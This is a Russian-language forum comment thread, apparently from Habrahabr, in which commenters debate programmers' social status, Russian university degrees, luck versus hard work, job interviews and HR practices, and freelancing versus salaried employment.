Это вы, батенька, не админили в территориально распределенной, да еще и растущей, конторе с большим количеством внутренних проектов. «Настроил и делай апдейты»? То внедрение нового сервиса, то расширение текущих, то разворачивание инфраструктуры для новых филиалов…
Vengant
Вспомните откуда вообще взялись сисадмины.
На заре эпохи юникса их как класса небыло — просто были программеры, которым чаще приходилось поддерживать инфраструктуру чем писать приложения. Две профессии связанны и переход возможен в обе стороны. Более того — с парком машин больше 300 админ автоматически становится программистом ибо поддерживать это все в одного можно только написав код.
flashvoid
Это почему это наоборот — вряд ли? Я вот являюсь программистом, но и администратор из меня тоже вполне приличный. Более-менее любые задачи решаю быстро, разбираюсь в новом — тоже быстро.
asm0dey
Администраторов тогда лучше сравнивать с наладчиками станков, которые обеспечивают работоспособность самого станка.
el777
не надо их сравнивать ни с кем, есть наладчики производственных линий, есть программисты станков с ЧПУ и есть Системные (сетевые) администраторы. У всех профессии разные. «Базар» применений ИТ знаний растет.

На сколько я помню основная задача администраторов и по сей день — сетевая безопасность ввереной ему корп. сети предприятия и тут работы не станет меньше.
Сам, как системный администратор, сейчас просматриваю предложения о работе примерно так-же как топикстартер. Не скажу что я гуру, но кое что умею и не считаю возможным отдавать свои знания задаром.
небольшой оффтоп: второй мой работадатель научил меня правильному подходу к «испытательному сроку» — ведь этот срок он не только для вас, но и для него.
Все грамотные работники умственного и/или сложного ручного труда сейчас переживают подьем спроса, не только программисты. Периодически вижу потуги начальства найти толкового инженера на производство. Отец у меня прораб в судоремонте не может найти хороших слесарей молодых. мне кажется, это последствия «кризиса в головах» после развала СССР, многие не перестроились на поиск мотивации внутри себя.
Ruslan_Voloshin
>— Программисты – это пролетарии постиндустриальной эпохи.

Пролетарии это рабочии без средств производства. Так что, к программистам это не применимо. Не нравится работа, ты легко можешь сделать что-то адекватное сам без больших внешних инвестиций.

>Как в свое время люди стояли у станка, так мы сейчас сидим за «интеллектуальным станком» — компьютером. На первых в свое время был бешеный спрос — в период стремительной индустриализации очень нужны были люди, которые смогут нормально работать на станке, не сломают его, произведут качественный физический продукт. Сейчас идет ИТ-бум — стремительная постиндустриализация.

Бум давно закончился. Бым был в 2000 годы.
KonstantinSolomatov
Ну так и у рабочего есть перспектива роста и ухода в самостоятельное «плавание».
Но это что-то еще должно «взлететь».
А это зависит от очень многих факторов.
el777
Только есть небольшая разница: рабочие на станках делают продукт по готовым схемам, сделанных инженерами и проектировщиками, а в программировании программист зачастую сам себе инженер, проектировщик и рабочий в одном лице, если он не просто кодер.

Кроме того, рабочим не нужно придумывать названия для переменных >_>
KonstantinSolomatov
Любая программа сложнее «Hello World!» требует, как минимум, продумывания внутренней архитектуры, проектирования, а это задачи, которые решает именно программист, а не «инженеры и строители, работники промышленной отрасли и сельского хозяйства».
Я уж о программах для широкого применения (калькуляторы, браузеры, игры, мессенджеры, IDEшки и многое, многое другое) вообще даже не говорю.
xappymah
Я ни в коем образе не пытаюсь принизить труд программистов. Я на опыте знаю, что это тяжёлый труд.

Я просто не люблю, когда говорят, что кто-то лошарик, т.к. пошёл учиться не на программиста, а на врача, и получает заметно меньше.

У меня 3 профессии вызывают восхищение: врач, учитель, сотрудник МЧС ( идеализированный мной солдат-контрактник).

Программист — обычная профессия, какая же как и водитель, и журналист, и доярка. Разница в оплате труда — огромная разница в производительности труда (если его измерять не в стульях, а в живых деньгах).
Aisu_Kuge
Я не оспариваю того, что программист — это тоже обычная профессия и ни коим образом ее не идеализирую.

Я лишь веду к тому, что программирование качественно ближе к инженерам, строительным архитекторам, ученым, а не к рабочим у станков, кирпичеукладчикам, лаборантам.
xappymah
извините не знаю плюсануть вам или минусануть…
имхо программист необычная профессия ровно настолько же как и врач и как сотрудник мчс, разница в цене ошибки помноженную на взятую ответственность. и разницы в оплате труда я тоже честно говоря не вижу, в любую сторону. можете плевать в меня но видел шабашки для программера на 500 рублей и не сомневаюсь что есть проекты на 5 миллионов равно как операции опалчиваемые в те-же деньги.
обычная профессия для меня — та от которой ни чего не зависит… президент на пример ?!
Aisu_Kuge
Мне кажется, сравнение с пролетариями некорректно.
Программисты, если использовать «классы» скорее интеллигенция, хотя бы потому, что могут продавать свой труд дорого, не подходят под определение «народных масс», и, самое главное: сама специфика программного обеспечения позволяет продавать продукт (код, программу) много раз, а меньше его не становится.
При этом никогда раньше не было такого продукта: любый рабочие на заводах (во времена Маркса) не могли продавать бесконечно товары так, чтобы они у них не кончались. Только труд подпадает под категорию того, что можно эксплуатировать.
Пролетарии это офисный планктон
xappymah
У этого продукта есть другое устаревание — моральное. То есть бесконечно продавать все равно не получится. А так иначе бы кобол захватил мир очень давно.
Если бы программы морально не устаревали, было бы очень тяжело продавать новые.
А так все обеспечены рабочими местами.
Ruslan_Voloshin
Вы правы. Но в своем посте я не это имел ввиду, понятно же что и на заводе постоянно разрабатываются новые модели товаров, которые потом снова продаются. И они заменяют устаревшие товары.

Я имел ввиду, что как только программа написана ее сразу можно продать тысячам и извлечь сверхприбыль. Истории почти всех софтверных кампаний основаны на этом удивительном свойстве программы: не кончаться.
А любой другой товар, имеющий материальную природу нельзя продать много раз разным людям, это должны быть непременно разные экземпляры товара, соответственно должны быть потрачены ресурсы на них
mechkladenets
Ну какая мы интеллигенция? Какая интеллигенция может насинячится в пятницу, матерится на рабочем месте и вваливатся на рабочее место в мотоекипировке/камуфляже для пинбола/костюме для ролевых игр?
el777
Позвольте спросить, какого размера у вас статистическая выборка, что бы говорить про всех?
mechkladenets
Порядка 300 человек и не одного рафинированого интеллигента.
Psionic
Первое значение: proletarius — «производящий потомство»
В каком-то смысле 99,9% нас — пролетарии, давайте не будем оскорблять себя-же. вы же не думаете что через 100 лет вас будут помнить более хотя-бы 100 человек? и в конечном счете что вас так оскорбляет?- что вы один из народной массы или что вас забудут через… ой вас уже не знают 7 млрд. человек?
+ даже если вы «интеллегенция» как вы на то расчитываете, и даже если то что вы делаете — генеально, с чего вы решили что достойны оплаты за труд?
я ни коим образом не принижаю ваших трудов если таковые были, просто я внутри тех 7 млрдов которые «о вас не в курсе»
будьте здоровы и занимайтесь тем что дорого вам, родня. любимые, интересные проекты. Мне тоже можете написать :) я вас заранее люблю как соперника для диалога и готов в гости пригласить как нормальный добрый «самаритянин».
NO_oB
Я обычно на это отвечаю, что у меня золотая медаль, английский язык с 6 лет, два красных диплома, начал работать по специальности регулярно с 17 лет, а потом к 20-21 годам мне ВНЕЗАПНО повезло и продолжает везти…
Psionic
А в ответ не отвечают, что невозможно получить два красных диплома до 24 лет (если не подразумеваются дипломы бакалавра и магистра), и уж тем более одновременно «работать по специальности» большей частью во время учебы, и что это всего лишь говорит о реальном качестве образования?

Действительно интересна реакция тех, кому вы это говорите.
Если замолкают — видимо, просто предпочитают не связываться. Но как-нибудь можно и нарваться.

Мне доказывать ничего не надо, «сам такой» и прекрасно знаю российскую жизнь.

(всё равно жду кучу минусиков)
Ruslan_Voloshin
? Я вполне успешно работал и зарабатывал параллельно учёбой. Писал дорогой заказной коммерческий софт. Более того тот опыт мне дал больше чем вся учёба.
degorov
Доказывать что? Да, бакалавра и магистра, разумеется. По работе — я не писал «полный рабочий день». Ну и лично мой опыт показывает, что если программист на 3-4 курсе не работает по специальности (я опять не говорю про полный день, заметьте), то ему/ей потом будет весьма тяжело… Такая вот она российская жизнь, ага.

А что касается реакции, то, извините, люди, которые понимают, что просто «повезло» — так не бывает — такие вопросы не задают ;)
battrack
Я видимо всё-таки ошибался, когда писал, что знаю российские реалии. А всего-то пара лет разницы.
В мое время никому в голову не могло прийти хвастаться «двумя дипломами», подразумевая второй как магистра. Раньше под этим подразумевали два высших образования.
dei
Могут быть ещё дипломы ВУЗа и кандидата наук, но второй из них красным не бывает. И тоже «двумя дипломами» их никто не называл.
Sap_ru
Этот дяденька, например, тоже просто хвастается?



Как по мне, так «два диплома» — это следствие перехода на новую систему ВО, вот и всё. Если уж на то пошло, то я бы предпочёл защищать диплом один раз, но кого волнует моё мнение? :)
degorov
Ну так у него не два, а 4 диплома, по двум разным специальностям.
dei
Я про BS/MS/PhD. Зачем он их перечисляет все? Потому что хвастается? Или потому, что оно вот так вот есть? Это его собственная характеристика причём — он так сам представляется перед началом курса. При том, что его успехи, мягко говоря, принципиально несравнимы с моими.
Mrrl
Интересный вопрос. Аналогичный случай — когда в результатах собаки на выставке пишут «отлично,CW,CAC, ЛК, ЧРКФ,CACIB, ЛПП». Из последних двух титулов следуют все предыдущие, но комментаторы предпочитают перечислять всё: хозяева — чтобы выглядело внушительнее, другие — чтобы хозяева не обиделись. Можно сказать, что так принято. Может быть, и с BS/MS/PhD так же?
degorov
Я так полагаю, что здесь просто конфликт традиций. Тем более странно, кстати, слышать намёки на хвастовство от человека, который живёт в Финляндии :)

У нас в обществе действительно, раз ты к.т.н., то само собой у тебя диплом ВУЗа есть и это не упоминается. В тех же штатах принято перечислять все степени; я так понимаю потому, что каждый диплом есть отдельная работа с отдельной тематикой. У «нас» значение имеет бумажка, у «них» — работа. А одна выполненная работа ну никак не может перекрывать другую работу.

Лично мне последнее кажется более правильным. Темы моих двух выпускных работ вообще не особо связаны между собой, ну кроме того, что они обе про программирование, ок. У меня первый по сетям, второй по промышленной экологии и вторая работа никак не вытекает из первой.
Mrrl
А по-моему они перечисляют не просто степени, а указывают где именно каждая из них получена, у них это принципиально, так как многие на магистратуру уходят в другие ВУЗы. Пример выше: Standford BS/MS/Phd — сразу понятно, что человек все три степени получил в одном ВУЗе.
degorov
Вообще-то по Вашей с dei системе у него их как раз два — PhD EE и MS ChemE. Остальные два по вашему мнению — хвастовство.
Mrrl
Возможно, имеет какое-то значение, давали ли в данном вузе диплом бакалавра, или там был единый курс, без промежуточной ступени. И те, кто получил сразу магистра, ценятся меньше, потому что схема нестандартная.
degorov
Диплом магистра можно получить ТОЛЬКО уже имея степень бакалавра или специалиста — единого курса быть не может.

Единый курс был у специалистов — 5 лет и ты сразу инженер без промежуточных работ. Во время переходного периода, однако, были люди, которые сдавали диплом бакалавра на 4 курсе, а потом не шли в магистратуру, а получали степень специалиста на 5 курсе, но это весьма редкое исключение во-первых, во-вторых это опять же ни разу не отменяет того, что эти люди сдавали 2 раза ГосЭкзамены и 2 раза готовили и защищали дипломные работы, прямо не вытекающие друг из друга. И у них два диплома, формально даже по двум разным специальностям.
maxhen
Дочка говорит, что они получат только один диплом ( после 6-го курса), и это будет диплом специалиста (мехмат МГУ). Правда, как этот диплом соотносится со степенью бакалавра или магистра, она пока не знает. И если окажется, что госэкзамены им придётся сдавать дважды, это, скорее всего, будет сюрпризом.
degorov
Это значит, что они учатся ещё по старой системе. В РФ справедливо считается, что диплом специалиста лучше диплома бакалавра — в конце концов они дольше учатся. Однако, при поступлении в зарубежные ВУЗы проводится специальная процедура, которая далеко не всегда приравнивает нашего специалиста к их магистру и очень часто нашим специалистам приходится за бугром поступать вместе с их бакалаврами и учиться на магистра заново. Если не соприкасаться с заграницей, то она, наверняка, никогда и не узнает, как её диплом соотносится со степенью бакалавра или магистра, да это и неважно абсолютно.
Mrrl
На мехмате либо 5 лет (специалист), либо 6 лет (бакалавр+магистр). С 2012 появились новые дипломы (формата А4, на 4 листах) со схемой, показывающей эквивалентность диплома специалиста и магистра.

скан
degorov
Кстати, а PhD без MS возможен? Если да, то лишний в списке только BS. Если же нет… наши «кандидаты наук» к PhD еще приравниваются, или уже нет?
Mrrl
У «них» PhD возможен без всего вообще. Это, кстати, опять же к вопросу о бумажках и работах ;) У «нас», насколько я знаю — как минимум после бакалавриата и то, насколько я понимаю, теоретически.

С нашими кандидатами наук такая же песня, как со всеми остальными дипломами — процедура подтверждения.
degorov
Я про BS/MS/PhD — у него аж три диплома указано + ещё один по другой специальности. Ладно, PhD отдельно, но BS/MS у него в любом случае указаны. В каком месте эта запись принципиально отличается от фразы «двумя дипломами», я не понимаю. Или вас теперь уже напрягает конкретно слово «красный»? В предыдущем комментарии ещё не напрягало — можете перечитать.
grossws
На самом деле возможно получить два красных диплома до 24 лет. Например, в МГТУ Баумана распространена практика получения второго высшего экономического образования параллельно с первым высшим техническим (на платной основе). Где-то с 3-4 курса ходишь на дополнительные пары по второй вышке и вот, одновременно получаешь сразу два образования. Некоторые умудряются еще и работать и отлично учиться :)
Mrrl
Сообщение, на которое вы отвечали: «это всего лишь говорит о реальном качестве образования» и «мне доказывать ничего не надо, «сам такой» и прекрасно знаю российскую жизнь.»

Можно получить и больше. Причем вообще не посещая «университеты».

А полноценное обучение — это не 5-7 пар в день, это еще и так называемая «самостоятельная работа», занимающая всё оставшееся время. Ни на какое второе образование, ни на работу, кроме каникул времени просто не останется — если получать диплом не 10 лет, разумеется.
degorov
Все люди разные, поймите уже это наконец. У нас на потоке были люди, которые на тот же матан тратили в разы меньше времени, чем я, а результат у них был и есть лучше.

А полноценное обучение можно заиметь, вообще не посещая институт. И я не о деньгах, заметьте ;)
dei
В МАИ такое тоже практикуется. И, наверняка, не только там.
degorov
В МГУ аналогично.
Zoberg
молодец, садись, пять!
dei
На самом деле на заявление «повезло!» начинать перечислять свои заслуги с 6 лет — плохой путь. Вы настраиваете человека против себя, фактически утверждаете что он последние 15-20 лет жизни делал какую-то хрень, а вот вы — умный, белый и пушистый. И главное ничего ведь в этих прошлых годах уже не изменить, а значит жизнь прожита зря и т.д. Нафига вам лишний враг?

Я на такое отвечаю «ну да, немного повезло. Но ты знаешь, у нас в компании сейчас есть вакансия Junior Developer\QA, если хочешь, я могу тебе порекомендовать литературу, онлайн-материалы и через 3-4 месяца плотной подготовки ты можешь попробовать сходить на пару собеседований к нам или в другую фирму, при сегодняшнем дефиците сотрудников тебя вполне могут взять. А через пару лет — должность повыше, и вот уже и тебе повезло.». И вот уже у вас нет врага, а есть человек, который может быть будет благодарен за совет.
degorov
Так нет, это он утверждает, что я не делал ничего, а имею (по их мнению!) всё. Кроме того, как я уже писал, такие вопросы мне ВСЕГДА задавали люди, которые УЖЕ имели ко мне предвзятое отношение. Даже не лично ко мне, а ко всем людям с похожей историей. Да и заслуги мои — это всего лишь пример. Я вообще хотел бы, чтобы он воспринимался обезличенно, и многие судя по 27 плюсам к тому комменту его так и воспринимают. Для меня лично школьные заслуги уже много лет не значат ничего, а мою медаль и прочие грамоты хранят родители — для них это почему-то важно.

Что касается людей, которые спрашивают «хочу так же» — я тоже всегда готов помочь. Я несколько лет после окончания ВУЗа (сам уже работал к тому времени) факультатив в институте для студентов средних курсов вёл, подтягивая их по части реальных практических навыков, да и сейчас связи с институтом поддерживаю. Некоторым в итоге к окончанию ВУЗа тоже крупно ПОВЕЗЛО.
degorov
Повезло, потому что они пахали, разумеется.
grossws
мою медаль и прочие грамоты хранят родители — для них это почему-то важно.
Из всех ваших достижений только в школьных заслугах у них есть доля;-)
xunter
Не согласен в корне. Разумеется, никто со мной в институте домашние задания не делал и уж тем более на работе не помогал :), но я убеждён, что важна именно вся цепочка: родители учат читать, писать, ин.яз. потихоньку, потом пинают в школе первые годы, а потом ты уже сам понимаешь, что они всё делают правильно и пашешь. Я собственно поэтому и написал про медали и т. п. — на самом деле это всё очень важно именно с точки зрения развития личности и карьеры. Сам факт наличия медальки для меня перестал быть важным ровно в тот момент, когда мне в Министерстве образования РФ (был лично, да) сказали, что твоя украинская медалька (я в Крыму учился) для поступления в ВУЗы РФ ценности не представляет. А было это через месяц после её получения :)
degorov
Я подозреваю, что при появлении такой фразы вообще лучше побыстрее сворачивать общение. Если человек говорит «повезло!», то он, скорее всего, уже настроен недружественно, направляется чёрной завистью и не умеет общаться (ибо эта фраза в таком контексте сама по себе несколько оскорбительна)… Таких лучше сторониться.
tangro
Нет, оскорбительно это когда спрашивают «кто пристроил?» :)
degorov
Ну, вы им не психоаналитик и вам не платили на переделку их картины мира в более адекватную ;-) Зачем вообще общаться с теми, кто предвзято настроен?
degorov
Достаточно большая часть людей после упоминания медалек и дипломов всё же делают правильные выводы, а не ещё более укрепляются в своей предвзятости.
Flammar
Такое отношение может исходить и от соседей по лестничной клетке, от родственников(иногда даже очень близких). Ограничить общение можно, но периодически пересекаться все же придется.
Обычно на фразу «повезло тебе», я отвечаю «повезло это признак случайности, в моем случае же была закономерность».
degorov
У меня есть знакомая — 28 лет, красный диплом, кандидат наук, английский, немецкий, хинди, урду, уйгурский. С 20 лет работает в архиве восточного факультета, один из ведущих специалистов в мире по уйгурике (особенно по рукописям 4-12 веков). С зарплатой в 12 тысяч рублей в месяц ). Так что — таки да, среди прочего нам еще и повезло )
Flammar
Так я и не отрицаю наличие везения. Я говорю, что на одном везении далеко не уедешь.
degorov
Подозреваю, что зарплата — не главная цель в ее жизни. Если все устраивает, то почему бы и нет?
Flammar
Ее ситуация закономерна, ни о каком везении/невезении речи нет. Она выбрала исключительно узкую специальность, спрос на которую близок к нулю. А спрос среди коммерческих организаций равен нулю.

Она замужем?
degorov
Я к тому, что высочайшая квалификация и образование не является достаточным основанием для высоких зарплат. В случае с программированием — надо признать, что действительно повезло — даже имея весьма посредственное образование и скромный опыт работы можно зарабатывать приличные деньги.

Про спрос близкий к нулю — разумеется. Но если не дай бог ее 82 летняя научный руководитель умрет, а она бросит эту работу, то в РФ просто не останется ни одного человека, который может прочитать несколько десятков тысяч древних свитков, описывающих культуру многомиллионного народа. Зато она может стать преподавателем английского )))
mekegi
Кстати — переводчики могут очень неплохо зарабатывать. Но опять же, от квалификации многое зависит.
DenisVitman
а амурских тигров тоже осталось >= 500 шт. вы думаете что-то за ближайшие лет 100-200 изменится? не знаю как сравнить ценность культурную с биологической, но думаю вы меня простите.… зато они могут жить пока не сдохли… ИМХО это круче. а есть еще ниибическое кол-во животных, да пофиг… виды людей наверно тоже есть которых больше не будет.
degorov
Я обычно на это отвечаю, что любил игры, поэтому в 7-м классе решил написать что-нибудь сам. А потом мне тупо было интересно. Именно из-за этого интереса прогулы в универе. В результате — полный диплом троек. Да, сидел по ночам, ковырялся, читал.

Пахал? Нет. Просто было «по приколу».

Повезло? Да, повезло что моё хобби хорошо востребовано на рынке.
kzn
Присоединяюсь к Вам:) Очень много времени мы проводим в интеллектуальном напряжении, так пусть будет всё чин по чину!:)
JDima
Я подозреваю, что данные рекомендации относятся не только к собеседованию ИТ специалистов. Если человек является гуру в своем деле, то он выбирает место работы, а не его выбирают.
DenisVitman
Ну мы то в основной массе своей не гуру, но выбирать можем еще как. Я например чувствую, что скоро это время уйдет. Не знаю зачем, но с опытом пришли мысли, что все это не так уж и заслуженно, что нас становится больше, что мы никакие не «избранные» (многие из нас). От некоторых программистов именно веет этим «Программист — профессия для избранных, мы — боги, несущие добро во имя луны», хотя на деле... Противно становится от таких людей, которые смотрят с высока на тех, для которых превращение строк в проги — магия.

А про «Повезло тебе, ты программист» скажу, что да! Повезло. Просто повезло с мозгом, природа одарила тем, что ты нашел в себе силы не бухать по клубам, а сидел за книжками и клавой.
JDima
От некоторых программистов именно веет этим «Программист — профессия для избранных, мы — боги, несущие добро во имя луны», хотя на деле… Противно становится от таких людей, которые смотрят с высока на тех, для которых превращение строк в проги — магия.

Поддерживаю эту точку зрения. В своем ответе под словом гуру, я имел ввиду специалиста, который является редким профессионалом в своем деле, но никак человека с завышенным чувством собственного достоинства.
Ruslan_Voloshin
Я бы сказал, что выбирать могут те, кто умеют и хотят работать. А вот с такими людьми по всем специальностям сейчас уже имеются проблемы, и перспективы, не знаю как в Москве, а у нас в провинции мягко говоря, не обнадёживающие.

А заслуженность это вообще понятие очень относительное. При серьёзных проблемах с той же канализацией или водопроводом, например, люди готовы отдать очень большие деньги за фактически очень простую работу и как-то глупо называть эти суммы незаслуженными :) Смотрение же свысока действительно, обычно, проходит с опытом годам к 20; как по мне — это естественный процесс.
ohmytribe
Да не обязательно даже «гуру». Мы в Питере искали себе среднестатистического разработчика — уровнем чуть выше джуниора, просто с небольшим уровнем опыта и с адекватными запросами. В итоге нашли только в Ростове-на-Дону, который хотел переехать в Питер :)
Lovesuper
Знаем мы эти ваши адекватные запросы.
maksimrussia
Ну что все так напали на клубы. Я до сих пор (мне 25 лет) хочу где-то раз в полгода в клуб, и ходил примерно так же когда был студентом и работал на двух работах. Просто не надо чрезмерно увлекаться клубами, как, по моему мнению, и чрезмерно увлекаться программированием. По моим наблюдениям, «богоизбранные» программисты, читающие по две толстых книги в неделю по ночам и выходящие на работу на все выходные, потом делают монструозные, оверхедные, перепаттернованные системы, и применяют технологии, потому что прочитали о них на выходных, а не потому что они нужны в проекте. А средний программист с чуточкой ленца и критическим сознанием, 3 раза взвесит решение прежде чем применить «просто потому, что новое и захотелось творить».
midday
У ваших «богоизбранных» просто мало опыта по сравнению с тем, который «с чуточкой ленца». Опыт со временем приходит. Монструозный оверхед — необходимая стадия, границы надо «прощупать» (лучше, правда, не быть в роли того, кто оплачивает подобный тренинг, но тут уж как повезёт).
maksimrussia
Вы наблюдали не гуру, а балбеса. Видел таких тоже много раз. Это болваны, а не «богоизбранные» программисты =)
И да. В клубы раз в пол года тоже ходил и хожу. Да я думаю, что все ходили. Но раз в пол года — это не ходить по клубам =D
degorov
Я например чувствую, что скоро это время уйдет. Не знаю зачем, но с опытом пришли мысли, что все это не так уж и заслуженно, что нас становится больше...

Не стоит так переживать, знакомый педагог сказал, что молодежь, которая приходит учится все менее разумная. По его словам, среди его студентов, с 5-ти курсов соберется десяток толковых ребят, которые будут достойными программистами, и те начиная с 3-го курса.

ogr
Не понимаю высказываний про: Сидел и занимался, ничего больше не делал, не гулял и на девочек не смотрел. Не знаю как Вы, но я в свое время и по клубам, и бухал и вел очень веселый образ жизни весь универ. Но при этом работал и учился. И побухать, и по клубам, и по девченкам, и CS, и WoT все надо попробовать и всем насытиться. Так что, не повезло Вам и автору на самом деле, многое не увидели и не ощутили в этой жизни. Скучно живете.
PerlPower
Да.
Вопрос в том, кто такой «гуру». Описана ситуация, когда «гуру» является каждый десятый (в конкретной профессии/рабочей области).
А если чуть-чуть поменяется рынок и, например, на любую вакансию в течение часа после опубликования будет приходить 200 резюме — сразу выяснится, что «гуру» — это всё-таки те, которых действительно знают (в мире), кому не надо посылать резюме, а достаточно назвать имя. Допустим, каждый миллионный.
И пусть это дико обидно для «гуру» из первой части, но он будет сидеть без работы.
iago
voff так вам все же удалось найти работодателя? Если да, то какое собеседование было с ним? И могли бы вы показать свое резюме?
Flammar
Это действительно интересно. По моему опыту, сейчас рынку нужны не it-специалисты а it-таджики. Поэтому на собеседование приглашают всех подряд вне зависимости от подготовки.

Настоящие гуру мало востребованы рынком. Они востребованы всего лишь нескольким крупными компаниями. Причем с работой в России таких компаний настолько мало, что можно их пересчитать по пальцам. Автору (если он гуру) не нужно было писать объявление на сайты — это идиотизм, сайты с объявлениями о работе аналогичен рабовладельческому рынку в средние века. Автору нужно было выбрать компанию где бы он хотел работать и отправить резюме туда. Дополнительно стоило бы посмотреть с кем конкретно в той компании он хотел бы работать и написать тому человеку письмо.
midday
Да, удалось, это было обычное собеседование, на котором пристутсвовал начальник отдела и технический директор. Мы пообщались, я выполнил небольшое ТЗ. Ответ мне дали в конце собеседования, на испытательный срок — зарплата озвученная мной в резюме, дальше по результатам. На сабеседовании описали чем я буду заниматься, и какие будут условия. Ничего выдающегося, никакого пафоса, все четко и по делу. Вообще было всего две компании, которые мне понравились и в которые я готов был пойти, и окончательный выбор я делал скорее уже по каким-то второстепенным моментам.
al_x
Читал и думал, не вас ли я взял в прошлом месяце.
Оказалось, нет :)
veitmen
Все по делу. Чувствую, что теперь должна появиться статья с обратной стороны баррикад.
dei
Было бы не плохо.
AreD
Когда-то я говорил, что к собеседованию должен готовиться не только соискатель, но и интервьювер. Теперь я сам провожу собеседования, но после десятого интервью все соискатели выглядят как китайцы – одинаково.

http://habrahabr.ru/post/182458/
soomrack
С той стороны баррикад всё просто — обычно приходят неадекватные неучи с невменяемыми зарплатными ожиданиями за мизерный опыт :) Поэтому и получается, что как только появляется нормальный кандидат, то он, как автор топика, получает пару десятков предложений в сутки.
voff
Ох уж эти программисты, совсем обнаглели [/irony]
Правда, может быть ещё веселей: это когда HR пытается вменить в вину тот факт, что они в работнике больше заинтересованы, чем работник в них (привет, Юлия!). И потому работнику следует не задирать нос, быть поскромней и согласиться на зарплату продавца-консультанта.
kaichou
А можно подробнее, как это происходит? Как можно человеку на собеседовании пытаться что-то «вменить в вину»?
v_admin
К примеру, когда тебе не перезванивают, а через год при случайной встрече HR говорит «большое значение имеет и заинтересованность кандидата в предоставлении ему обратной связи». Ходишь потом как обос*аный и думаешь, как же угораздило вообще связаться с этой «фирмой с мировым именем».
AlexandrDP
Когда хочешь изменить что-то в жизни, или специализацию, то приходится проводить кучу собеседований и интервью. Но я уверен, все у вас получится — кто стучится, тому открывают.
beardog
К сожалению, с обратной стороны так, как здесь описано — чаще всего пофигизм к потенциальному работнику. И это печально.
DarkestMaster
Единственное, можно было бы добавить пару строчек о том, что опыт собеседования очень важен, т.к. это позволяет не теряться во время интервью с HR, т.к. зачастую от них зависит, попадёте ли вы на собеседование по компетенциям.
И обязательно нужно добавить, что перед собеседованием необходимо навести подробные справки о будущем работодателе, возможно HR-специалисте, который вас будет интервьюировать (т.к. многие приходят на собеседование и не знают чем именно кампания занимается).

За статью спс. Хоть и немного утрированно.
milleroff
перед собеседованием необходимо навести подробные справки о будущем работодателе
Ага, при минимум двух собеседованиях в день, часе на дорогу в одну сторону и тестовых заданиях…
NikoM
(т.к. многие приходят на собеседование и не знают чем именно кампания занимается).

А это плохо? Собственно на собеседовании и узнается обычно чем компания занимается. Нет?
milleroff
Всегда есть альтернатива — фриланс.
bukt
Фриланс не для каждого альтернатива. Много людей, для которых главное стабильность. А фриланс — риск зачастую.
jerom
Популярное заблуждение. Подумайте еще разок, что по вашему стабильнее иметь одного работодателя, который может разориться или уволить вас в любое время или иметь несколько постоянных клиентов, когда проблемы одного из них вас не особо затронут.
Nomad1
У человека один работодатель бывает только в ситуации, когда он не соответствует занимаемой должности, но работодатель его терпит и платит деньги (aka пристроили). Разумеется, частенько при увольнении может быть переход на худшие условия на некоторое время, но у фрилансеров ведь тоже есть лучший заказчик…
helm2004
Возможность устроиться на новую работу не означает, что можно говорить о стабильности этого варианта, наоборот когда вы теряете небольшой процент от дохода из за потери заказчика, а не весь доход полностью, это и есть стабильность.
hostadmin
Я считаю, что стабильность это твои личные скиллы, постоянно поддерживаемые в актуальном состоянии + запас денег на пол-года (минимум) безбедного существования при полном отсутствии долгов. А как это все обеспечить — по сути разницы никакой.
Aisu_Kuge
Согласен, скиллы важны в любом случае. Только одно дело когда вас уволили с единственной работы, это все равно стресс, смена образа жизни, и т.п. Другое дело, когда у вас есть не только скиллы, но и умение донести до заказчиков их ценность, отработанный процесс, когда работа с текущими заказчиками сочетается с обсуждением следующих заказов\проектов и не несет никакого дискомфорта.
Flammar
Какой стресс и смена образа жизни, если есть деньги на полгода спокойного поиска новой работы? Эти деньги для того и нужны, чтобы стресса не было.
VolCh
Тогда такой аргумент: фриланс — сам себе и отдел маркетинга, и отдел продаж, и отдел разработки, и отдел поддержки.
А кто-то хочет просто сидеть в уютном офисе и выполнять конкретно поставленную задачу, и не думать о клиенте.
rie
Это аргумент совсем другой, конечно фриланс вариант не для каждого, тут спору нет. Я говорил лишь о том, что при правильной организации своей деятельности это гораздо более стабильно, чем работа на одном месте, когда все яйца в одной корзине.
Aisu_Kuge
А почему вы считаете, что у вас непременно будет несколько постоянных клиентов? Вдруг вы им всем разонравитесь или станете слишком затратным? Риски те же самые, только под другим углом.
AleksDesker
Для меня лично это не мнение, а свершившийся факт, для большинства успешных фрилансеров я думаю тоже. Всем сразу нельзя разонравиться, «Это только гриппом все вместе болеют, а с ума поодиночке сходят!».
degorov
Несколько постоянных клиентов это уже скорее не фриланс, а просто удаленная работа.
AleksDesker
Иметь больше одного клиента, который приносит значительный доход, на фрилансе — достаточно большая редкость, ибо такой клиент как правило требует от фрилансера уделения изрядной доли его времени и внимания.

Куда чаще получается иметь полдюжины «умеренно доходных» клиентов с невысокой нагрузкой, и одного с долгосрочными хорошо оплачиваемой линейкой проектов. И да, когда последний перестанет нуждаться в услугах фрилансера, то это не конец света, но все же легко становится полугодом метаний в поисках нового долгоиграющего заказчика, и в доказаниях ему того, что фрилансер достаточно квалифицирован для его проектов.

А если сюда еще добавить тот факт, что фрилансеров вообще редко нанимают больше, чем на год (иначе дешевле взять кого-то в штат), то получаем стабильные проблемы с переключением основных заказчиков случающиеся раз в год-два, а то и чаще.
degorov
Без переключения заказчиков конечно не обойтись, только это не проблема, а естественный процесс, обеспечивающий комфортную смену одного на другого по мере необходимости, об этом и речь.
AleksDesker
Смена работодателя — не менее естественный процесс.
degorov
Уйти во фриланс, при этом обеспечивая себе тот же (или лучший, разумеется) уровень жизни, стабильности и прочих ништяков типа медстраховки могут позволить себе только люди, для которых поиск работы уже в принципе не является проблемой. То есть фриланс — это не решение проблемы «никуда не берут — пойду во фриланс», а наоборот закономерное продолжение личного карьерного роста.

Есть мотивы типа «жить под пальмой» etc. — и это уже совсем другая тема, но так как в статье автора это всё не упоминается, поэтому об этом и не будем…
Aisu_Kuge
ага, заболел и остался без денег
соцстраховки нет

ип с усн? заранее нет налоговых вычетов на квартиру, медицину и т.п.
AleksDesker
Еще есть альтернативой удалённая работа — вроде как и фриланс, но стабильнее ;) У меня вот, например, только удалённая работа и является единственным выходом.
Cancel
Все описанные проблемы и ситуации применимы не только к программистам, но и вообще к половине должностей с так или иначе большим спросом.
AleksDesker
На самом деле, последний абзац относится не только к программистам. В любой специальности, если прикладывать усилия, достаточно просто добиться хороших результатов (хороший Юрист, Врач, и т.д. всегда будут получать хорошо). Просто для программистов, наверное, более высок порог вхождения.
VolCh
Высокий порог вхождения или нет — зависит в первую очередь от уровня компании. Чем ниже уровень, тем соответственно и ниже уровень вхождения.
К этому также нужно отнести и адекватность.
Rageous
